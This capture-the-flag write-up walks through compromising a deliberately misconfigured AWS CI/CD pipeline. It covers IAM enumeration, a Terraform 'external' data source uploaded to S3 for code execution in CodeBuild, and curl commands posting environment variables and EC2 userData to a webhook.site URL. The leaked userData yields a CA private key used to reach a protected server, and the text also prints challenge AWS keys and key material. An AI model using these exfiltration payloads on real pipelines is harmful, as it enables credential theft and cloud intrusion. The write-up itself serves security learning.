Skip to content

Level 7A: DevSecMeow (Cloud)

The first step for this challenge is to obtain "temporary credentials" (probably AWS access key and secret).

According to the challenge website, to obtain credentials we need to first "submit required details" here.

That endpoint returns two AWS S3 URLs:

json
{
  "csr": "https://devsecmeow2023certs.s3.amazonaws.com/1696048730-67d944c38e40449f852502ef371791e1/client.csr?AWSAccessKeyId=ASIATMLSTF3N3GVCQGNN&Signature=L%2B3oUY%2Bx92j...",
  "crt": "https://devsecmeow2023certs.s3.amazonaws.com/1696048730-67d944c38e40449f852502ef371791e1/client.crt?AWSAccessKeyId=ASIATMLSTF3N3GVCQGNN&Signature=MMmZDruI0..."
}

We can deduce that "csr" stands for Certificate Signing Request and "crt" stands for certificate. After some research, I learnt that the URLs are S3 presigned URLs which allows users in possession of these URLs to upload or download resources from the S3 bucket.

The challenge website provides some useful hints on interacting with these URLs:

How do I interact with the URLs?
- Look at the URL
- One for upload, one for download

Based on this description, we can guess that the "csr" URL is for uploading our "details" via the CSR, while the "crt" is for downloading the signed certificate that we can use to authenticate ourselves.

First, I generated a CSR and private key using openssl:

bash
openssl req -newkey rsa:2048 -keyout private.pem -out MYCSR.csr

Then I wrote a script to upload the CSR and grab the signed certificate.

py
import requests
import os
import shlex

import time
x = requests.get("https://61lxjmt991.execute-api.ap-southeast-1.amazonaws.com/development/generate").json()
csr = x["csr"]
crt = x["crt"]

os.system(f"curl -X PUT -T ./MYCSR.csr {shlex.quote(csr)}")
time.sleep(3)
os.system(f"curl {shlex.quote(crt)} > cert.crt")

Now we can verify that we have a signed certificate:

bash
 openssl x509 -in cert.crt -text -noout                                 
Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number:
            e3:6f:07:fb:7b:c0:e3:0c
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: CN = devsecmeow-staging
        Validity
            Not Before: Sep 30 04:50:55 2023 GMT
            Not After : Oct 30 04:50:55 2023 GMT
        Subject: C = SG, ST = Singapore, L = Singapore, O = Skeld, OU = Crewmate, CN = amogus.com, emailAddress = [email protected]
        Subject Public Key Info:

Next, we use the signed certificate to authenticate ourselves against the second endpoint (https://13.213.29.24/):

bash
 curl --cert cert.crt --key private.pem -k  https://13.213.29.24/
{
	"Message": "Hello new agent, use the credentials wisely! It should be live for the next 120 minutes! Our antivirus will wipe them out and the associated resources after the expected time usage.",
	"Access_Key": "AKIATMLSTF3NZG6RHLXT",
	"Secret_Key": "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"
}

Now begins the enumeration phase. I used awsenum to quickly enumerate the permissions attached to this access key.

We have the iam list-roles , iam get-policy, iam get-policy-version and iam list-role-policies permissions, so there's lots of information we can retrieve.

There are a few policies with 'agent' in them, which is probably what's assigned to our access key. Let's look at one of them:

json
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "VisualEditor0",
                    "Effect": "Allow",
                    "Action": [
                        "iam:GetPolicy",
                        "ssm:DescribeParameters",
                        "iam:GetPolicyVersion",
                        "iam:List*Policies",
                        "iam:Get*Policy",
                        "kms:ListKeys",
                        "events:ListRules",
                        "events:DescribeRule",
                        "kms:GetKeyPolicy",
                        "codepipeline:ListPipelines",
                        "codebuild:ListProjects",
                        "iam:ListRoles",
                        "codebuild:BatchGetProjects"
                    ],
                    "Resource": "*"
                },
                {
                    "Sid": "VisualEditor2",
                    "Effect": "Allow",
                    "Action": [
                        "iam:ListAttachedUserPolicies"
                    ],
                    "Resource": "arn:aws:iam::232705437403:user/${aws:username}"
                },
                {
                    "Sid": "VisualEditor3",
                    "Effect": "Allow",
                    "Action": [
                        "codepipeline:GetPipeline"
                    ],
                    "Resource": "arn:aws:codepipeline:ap-southeast-1:232705437403:devsecmeow-pipeline"
                },
                {
                    "Sid": "VisualEditor4",
                    "Effect": "Allow",
                    "Action": [
                        "s3:PutObject"
                    ],
                    "Resource": "arn:aws:s3:::devsecmeow2023zip/*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2023-09-16T07:15:52+00:00"
    }
}

This reveals that we have additional permissions to read CodePipeline configuration, as well as upload objects to a devsecmeow2023zip S3 bucket.

Let's examine the CodePipeline:

json
{
    "pipeline": {
        "name": "devsecmeow-pipeline",
        "roleArn": "arn:aws:iam::232705437403:role/codepipeline-role",
        "artifactStore": {
            "type": "S3",
            "location": "devsecmeow2023zip"
        },
        "stages": [
            {
                "name": "Source",
                "actions": [
                    {
                        "name": "Source",
                        "actionTypeId": {
                            "category": "Source",
                            "owner": "AWS",
                            "provider": "S3",
                            "version": "1"
                        },
                        "runOrder": 1,
                        "configuration": {
                            "PollForSourceChanges": "false",
                            "S3Bucket": "devsecmeow2023zip",
                            "S3ObjectKey": "rawr.zip"
                        },
                        "outputArtifacts": [
                            {
                                "name": "source_output"
                            }
                        ],
                        "inputArtifacts": []
                    }
                ]
            },
            {
                "name": "Build",
                "actions": [
                    {
                        "name": "TerraformPlan",
                        "actionTypeId": {
                            "category": "Build",
                            "owner": "AWS",
                            "provider": "CodeBuild",
                            "version": "1"
                        },
                        "runOrder": 1,
                        "configuration": {
                            "ProjectName": "devsecmeow-build"
                        },
                        "outputArtifacts": [
                            {
                                "name": "build_output"
                            }
                        ],
                        "inputArtifacts": [
                            {
                                "name": "source_output"
                            }
                        ]
                    }
                ]
            },
            {
                "name": "Approval",
                "actions": [
                    {
                        "name": "Approval",
                        "actionTypeId": {
                            "category": "Approval",
                            "owner": "AWS",
                            "provider": "Manual",
                            "version": "1"
                        },
                        "runOrder": 1,
                        "configuration": {},
                        "outputArtifacts": [],
                        "inputArtifacts": []
                    }
                ]
            }
        ],
        "version": 1
    },
    "metadata": {
        "pipelineArn": "arn:aws:codepipeline:ap-southeast-1:232705437403:devsecmeow-pipeline",
        "created": "2023-07-21T23:05:14.065000+08:00",
        "updated": "2023-07-21T23:05:14.065000+08:00"
    }
}

The rawr.zip file from the devsecmeow2023zip bucket is fetched in the "Source" stage, and used as input to the "Build" stage. This stage runs the CodeBuild project devsecmeow-build.

Let's dump the configuration for the devsecmeow-build project too:

json
{
    "projects": [
        {
            "name": "devsecmeow-build",
            "arn": "arn:aws:codebuild:ap-southeast-1:232705437403:project/devsecmeow-build",
            "source": {
                "type": "CODEPIPELINE",
                "buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n      - env\n      - cd /usr/bin\n      - curl -s -qL -o terraform.zip https://releases.hashicorp.com/terraform/1.4.6/terraform_1.4.6_linux_amd64.zip\n      - unzip -o terraform.zip\n      - cd \"$CODEBUILD_SRC_DIR\"\n      - ls -la \n      - terraform init \n      - terraform plan\n",
                "insecureSsl": false
            },
            "artifacts": {
                "type": "CODEPIPELINE",
                "name": "devsecmeow-build",
                "packaging": "NONE",
                "overrideArtifactName": false,
                "encryptionDisabled": false
            },
            "cache": {
                "type": "NO_CACHE"
            },
            "environment": {
                "type": "LINUX_CONTAINER",
                "image": "aws/codebuild/amazonlinux2-x86_64-standard:5.0",
                "computeType": "BUILD_GENERAL1_SMALL",
                "environmentVariables": [
                    {
                        "name": "flag1",
                        "value": "/devsecmeow/build/password",
                        "type": "PARAMETER_STORE"
                    }
                ],
                "privilegedMode": false,
                "imagePullCredentialsType": "CODEBUILD"
            },
            "serviceRole": "arn:aws:iam::232705437403:role/codebuild-role",
            "timeoutInMinutes": 15,
            "queuedTimeoutInMinutes": 480,
            "encryptionKey": "arn:aws:kms:ap-southeast-1:232705437403:alias/aws/s3",
            "tags": [],
            "created": "2023-07-21T23:05:13.010000+08:00",
            "lastModified": "2023-07-21T23:05:13.010000+08:00",
            "badge": {
                "badgeEnabled": false
            },
            "logsConfig": {
                "cloudWatchLogs": {
                    "status": "ENABLED",
                    "groupName": "devsecmeow-codebuild-logs",
                    "streamName": "log-stream"
                },
                "s3Logs": {
                    "status": "DISABLED",
                    "encryptionDisabled": false
                }
            },
            "projectVisibility": "PRIVATE"
        }
    ],
    "projectsNotFound": []
}

The first important thing is the environment section:

json
"environment": {
    "type": "LINUX_CONTAINER",
    "image": "aws/codebuild/amazonlinux2-x86_64-standard:5.0",
    "computeType": "BUILD_GENERAL1_SMALL",
    "environmentVariables": [
        {
            "name": "flag1",
            "value": "/devsecmeow/build/password",
            "type": "PARAMETER_STORE"
        }
    ],
    "privilegedMode": false,
    "imagePullCredentialsType": "CODEBUILD"
},

This indicates that the first flag is in the environment variable flag1 .

The next important thing here is buildspec, which describes the command executed to "build" the code:

yaml
version: 0.2

phases:
  build:
    commands:
      - env
      - cd /usr/bin
      - curl -s -qL -o terraform.zip https://releases.hashicorp.com/terraform/1.4.6/terraform_1.4.6_linux_amd64.zip
      - unzip -o terraform.zip
      - cd "$CODEBUILD_SRC_DIR"
      - ls -la 
      - terraform init 
      - terraform plan

After fetching the rawr.zip file from the "Source" stage (which unzips the file into $CODEBUILD_SRC_DIR), the "Build" stage installs Terraform and executes terraform plan. Since we control the rawr.zip file, we can supply arbitrary Terraform configuration to be executed with terraform plan.

A quick google search for "Terraform Plan RCE" reveals this blog post which provides this PoC:

yaml
data "external" "example" {
    program = ["python", "${path.module}/example-data-source.py"]

        query = {
# arbitrary map from strings to strings, passed
# to the external program as the data query.
            id = "abc123"
        }
}

I modified this slightly to exfiltrate environment variables:

yaml
data "external" "example" {
  program = ["python3", "-c", 
  "import os;out=os.system('env 2>&1 | cat > /tmp/x');os.system('curl -d @/tmp/x https://webhook.site/e881cd14-7e51-44d4-a131-9079df66f792')"]
}

and wrote a quick shell script to zip and upload the terraform.tf file:

bash
zip -r rawr terraform.tf
aws s3 cp rawr.zip s3://devsecmeow2023zip/rawr.zip

After waiting for a few minutes, we receive a request on our webhook with all the environment variables, including the first part of the flag:

ini
PYTHON_311_VERSION=3.11.4
flag1=TISC{pr0tecT_
DOCKER_SHA256=544262F4A3621222AFB79960BFAD4D486935DAB80893478B5CC9CF8EBAF409AE
PYYAML_VERSION=5.4.1

Unfortunately, there's no sign of the second part of the flag. So it's time for more enumeration 😩. Fortunately for you, I will just skip to the parts that worked.

So I dumped the policy for the codebuild-role. Presumably these are the permissions that the CodeBuild worker has:

json
{
    "RoleName": "codebuild-role",
    "PolicyName": "policy_code_build",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "logs:PutLogEvents",
                    "logs:CreateLogStream",
                    "logs:CreateLogGroup"
                ],
                "Effect": "Allow",
                "Resource": [
                    "arn:aws:logs:ap-southeast-1:232705437403:log-group:devsecmeow-codebuild-logs:log-stream:*",
                    "arn:aws:logs:ap-southeast-1:232705437403:log-group:devsecmeow-codebuild-logs/*",
                    "arn:aws:logs:ap-southeast-1:232705437403:log-group:devsecmeow-codebuild-logs"
                ]
            },
            {
                "Action": [
                    "kms:ReEncrypt*",
                    "kms:GenerateDataKey*",
                    "kms:Encrypt",
                    "kms:DescribeKey",
                    "kms:Decrypt"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:kms:ap-southeast-1:232705437403:key/6b677475-cc95-4f85-8baa-2f30290cde9d"
            },
            {
                "Action": "ssm:GetParameters",
                "Effect": "Allow",
                "Resource": "arn:aws:ssm:ap-southeast-1:232705437403:parameter/devsecmeow/build/password"
            },
            {
                "Action": "ec2:DescribeInstance*",
                "Effect": "Allow",
                "Resource": "*"
            },
            {
                "Action": [
                    "s3:PutObject",
                    "s3:GetObjectVersion",
                    "s3:GetObject",
                    "s3:GetBucketLocation",
                    "s3:GetBucketAcl"
                ],
                "Effect": "Allow",
                "Resource": [
                    "arn:aws:s3:::devsecmeow2023zip/devsecmeow-pipeline/*",
                    "arn:aws:s3:::devsecmeow2023zip"
                ]
            }
        ]
    }
}

Most of these permissions look pretty reasonable and justifiable for a CodeBuild worker, except for

json
{
    "Action": "ec2:DescribeInstance*",
    "Effect": "Allow",
    "Resource": "*"
}

This permission doesn't seem to be used at all. It's especially suspicious because the Action ends with *, which allows any action starting with ec2:DescribeInstance to be executed. Additionally, the challenge website states that there is a 'known misconfiguration'.

Looking at the reference for EC2 actions, we can determine that ec2:DescribeInstance* matches the following actions:

It seems DescribeInstanceAttribute would be the most helpful in giving us more information, so let's look at its documentation:

Describes the specified attribute of the specified instance.

You can specify only one attribute at a time.

Valid attribute values are: instanceType | kernel | ramdisk | userData | disableApiTermination | instanceInitiatedShutdownBehavior | rootDeviceName | blockDeviceMapping | productCodes | sourceDestCheck | groupSet | ebsOptimized | sriovNetSupport

Hmm userData looks very interesting!

First we run DescribeInstances to list the instance IDs:

yaml
data "external" "example" {
  program = ["python3", "-c", 
  "import os;out=os.system('aws ec2 describe-instances 2>&1 | cat > /tmp/x');os.system('curl -d @/tmp/x https://webhook.site/e881cd14-7e51-44d4-a131-9079df66f792')"]
}

This reveals two instance IDs: i-02602bf0cf92a4ee1 at IP '54.255.155.134' and i-02423bae26b4cfd9a at IP '13.213.29.24' (this corresponds to the IP of the service that provided the access keys).

I then proceeded to dump the userData attribute for i-02602bf0cf92a4ee1:

yaml
data "external" "example" {
  program = ["python3", "-c", 
  "import os;out=os.system('aws ec2 describe-instance-attribute --instance-id i-02602bf0cf92a4ee1 --attribute userData 2>&1 | cat > /tmp/x');os.system('curl -d @/tmp/x https://webhook.site/e881cd14-7e51-44d4-a131-9079df66f792')"]
}

This yielded a very long base64 string which decoded to:

bash
#!/bin/bash
sudo apt update
sudo apt upgrade -y 
sudo apt install nginx -y
sudo apt install awscli -y 
cat <<\EOL > /etc/nginx/nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
	worker_connections 768;
	# multi_accept on;
}

http {

	sendfile on;
	tcp_nopush on;
	tcp_nodelay on;
	keepalive_timeout 65;
	types_hash_max_size 2048;

	include /etc/nginx/mime.types;
	default_type application/octet-stream;

	server {
		listen 443 ssl default_server;
		listen [::]:443 ssl default_server;
		ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; 
		ssl_prefer_server_ciphers on;

		ssl_certificate         /etc/nginx/server.crt;
		ssl_certificate_key     /etc/nginx/server.key;
		ssl_client_certificate  /etc/nginx/ca.crt;
		ssl_verify_client       optional;
		ssl_verify_depth        2;
		location / {
				if ($ssl_client_verify != SUCCESS) { return 403; }

				proxy_pass           http://flag_server;
		}

		access_log /var/log/nginx/access.log;
		error_log /var/log/nginx/error.log;
	}
	
	gzip off;
	include /etc/nginx/conf.d/*.conf;
	include /etc/nginx/sites-enabled/*;
}

EOL
cat <<\EOL > /etc/nginx/sites-enabled/default

upstream flag_server {
    server	localhost:3000;
}
server {
	listen 3000;

	root /var/www/html;

	index index.html;

	server_name _;

	location / {
		# First attempt to serve request as file, then
		# as directory, then fall back to displaying a 404.
		try_files $uri $uri/ =404;
	}

}
EOL
cat <<\EOL > /etc/nginx/server.crt
-----BEGIN CERTIFICATE-----
MIIDxzCCAq8CFF4sQY4xq1aAvfg5YdBJOrxqroG5MA0GCSqGSIb3DQEBCwUAMCAx
...
qaYdKV87JdAsh88Dc8R4xEy+CgmP0Tecsdu4vp+QGLIFyKVXV1nPWF2ihz8XelLe
KiNii7b6V43HSrA=
-----END CERTIFICATE-----

EOL
cat <<\EOL > /etc/nginx/server.key
-----BEGIN RSA PRIVATE KEY-----
MIIJKQIBAAKCAgEAxhGoxzW6xtL/jKgn2pbhDEfAXIfHpvsySLi9UkPwag3IZRZ9

....
wvp9ayzLTWZtn+hIL8HTOVFjzTxnN3WCbbRPuGp7LYR6r4Rd2ES7tqZhUuRqskNE
3nGTQ6QK50jtVWB9xosJo4hdAEKY+9mx6iZQJxlAf9bniDhZEiubxF8qqs1H
-----END RSA PRIVATE KEY-----

EOL
cat <<\EOL > /etc/nginx/ca.crt
-----BEGIN CERTIFICATE-----
MIIDITCCAgmgAwIBAgIUQ3SN/Ic7T2x1v6cA6gKPUxNSlNgwDQYJKoZIhvcNAQEL
...
TNVZrU3IkDCUhRSxvcesm4of0B21GCmpcUAU75A+UF3sl8jFTNf8oMFZzW17W4bg
tMdad2Pvl9IL3bWjT0uWMOU7uFWHRFCKEVrzCzJ6sUdyamwsLg==
-----END CERTIFICATE-----

EOL
cat <<\EOL > /etc/nginx/ca.key
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDE2SyRtvuepEOd
UwUmtZBRi4JRHJiOdwZVlMQXM7Vw44QBHfkOZxG5WBZMAJQl1FGpvqUv/tVt+CbV
....
Opar3fixSriKkwuTuDy8fM1dbpjYCi8rKswGULTvpFHJQZSDu4+sCDxbZUv9VTAS
aUwjOeYyIZiB+SQt/kUUZm1acA==
-----END PRIVATE KEY-----

EOL
aws s3 cp s3://devsecmeow2023flag2/index.html /tmp/
sudo cp /tmp/index.html /var/www/html
rm /tmp/index.html
sudo systemctl restart nginx

Finally we see some reference to 'flag2'!

If we visit https://54.255.155.134/ directly, we get a permission denied error, so it is clear we will need to authenticate ourselves somehow. Unfortunately, using the cert.crt in the first step doesn't work. However, we have leaked the server's ca.key and ca.crt, so we can just authenticate ourselves using that instead:

bash
  curl --cert ca.crt --key ca.key --cacert ca.crt  -k https://54.255.155.134 | grep -i flag2
<p class="lead text-muted">Flag2: yOuR_d3vSeCOps_P1peL1nEs!!<##:3##>}</p>

The combined flag is:

TISC{pr0tecT_yOuR_d3vSeCOps_P1peL1nEs!!<##:3##>}